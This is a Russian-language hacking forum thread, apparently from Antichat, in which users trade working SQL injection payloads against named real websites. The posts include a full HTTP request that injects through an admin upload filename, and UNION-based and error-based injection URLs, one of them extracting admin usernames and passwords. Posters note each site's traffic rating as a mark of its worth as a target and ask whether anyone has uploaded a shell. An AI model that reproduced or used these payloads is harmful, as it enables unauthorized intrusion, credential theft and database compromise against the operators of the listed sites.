 |
|
17.10.2016, 00:26
|
|
Постоянный
Регистрация: 17.03.2014
Сообщений: 530
С нами:
6398966
Репутация:
154
|
|
Скулька в сервисе раздачи шмоток в Доте в запросе Insert при загрузке в имени файла, там же и залиться можно.
через error - based выглядит так
Запрос
Код:
POST /admin/addimg.php HTTP/1.1
Host: dota2h1.ru
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://dota2h1.ru/admin/upload.php
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------271871778025892
Content-Length: 402
-----------------------------271871778025892
Content-Disposition: form-data; name="filename"; filename="' or extractvalue(0x0a,concat(0x0a,(select database()),0x0a, version())) , '"
Content-Type: application/octet-stream
-----------------------------271871778025892
Content-Disposition: form-data; name="upload"
upload
-----------------------------271871778025892--
Ответ
Код:
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sun, 16 Oct 2016 20:22:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Location: http://dota2h1.ru/admin/upload.php
Content-Length: 59
1105: XPATH syntax error: '
ideawebf_dota
5.6.27-75.0-log'
|
|
|
31.10.2016, 20:38
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
http://sanatoria.ru/san.php?org=-21...8,329,330,331,332,333,334,335,336,337,338-- +
|
|
|
|
02.11.2016, 20:24
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами:
5797046
Репутация:
40
|
|
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.studioslips.com/selected_model.php?ManID=89&CabID=-4731+/*!UnIoN*/+SeLecT+1111,2222,3333,4444,5555#[/COLOR][/COLOR]
Так можно? |
|
|
|
02.11.2016, 20:40
|
|
Постоянный
Регистрация: 10.02.2012
Сообщений: 830
С нами:
7502006
Репутация:
90
|
|
Сообщение от BabaDook
↑
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.studioslips.com/selected_model.php?ManID=89&CabID=-4731+/*!UnIoN*/+SeLecT+1111,2222,3333,4444,5555#[/COLOR][/COLOR]
Так можно?
можно так
Код:
http://www.studioslips.com/selected_model.php?ManID=89&CabID=-4731+/*!UnIoN*/+SeLecT/**/+1111,version/**/(),3333,4444,5555%23
|
|
|
|
21.11.2016, 23:53
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами:
5797046
Репутация:
40
|
|
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.signsolutions.org.in/product.php?id=74'+and+false+uNiOn+SeLecT+1,2,concat(uname,0x2020,password),4,5,6,7,8,9,10,11+from+admin+--+-[/COLOR][/COLOR]
Если кто-то зальётся напишите |
|
|
|
27.11.2016, 16:22
|
|
Постоянный
Регистрация: 18.07.2013
Сообщений: 300
С нами:
6747446
Репутация:
32
|
|
Тиц 1300, неплохой траф
Код:
http://carexpert.ru/news/2016-11-24/cn17'%20OR%20%28SELECT%20COUNT%28*%29%20FROM%20%28SELECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203%29x%20GROUP%20BY%20CONCAT%28MID%28VERSION%28%29,%201,%2063%29,%20FLOOR%28RAND%280%29*2%29%29%29+--+/
|
|
|
|
23.12.2016, 02:06
|
|
Участник форума
Регистрация: 25.04.2013
Сообщений: 153
С нами:
6868406
Репутация:
2
|
|
|
|
|
|
31.12.2016, 21:53
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами:
9650336
Репутация:
662
|
|
|
|
|
|
04.01.2017, 17:49
|
|
Участник форума
Регистрация: 17.05.2015
Сообщений: 117
С нами:
5785526
Репутация:
6
|
|
ТИЦ 120
AR 136,726
AR country 40,386=CN (China)
|
|
|
|
21.01.2017, 19:12
|
|
Участник форума
Регистрация: 02.02.2012
Сообщений: 276
С нами:
7513526
Репутация:
29
|
|
Код:
http://vetrb.ru/index_view.php?id=4%27+and+1=0+union+select+1,concat_ws(0x3a,version(),database()),3+--+f
10.1.21-MariaDB:muslimov_vetrb
ТИЦ 10 |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
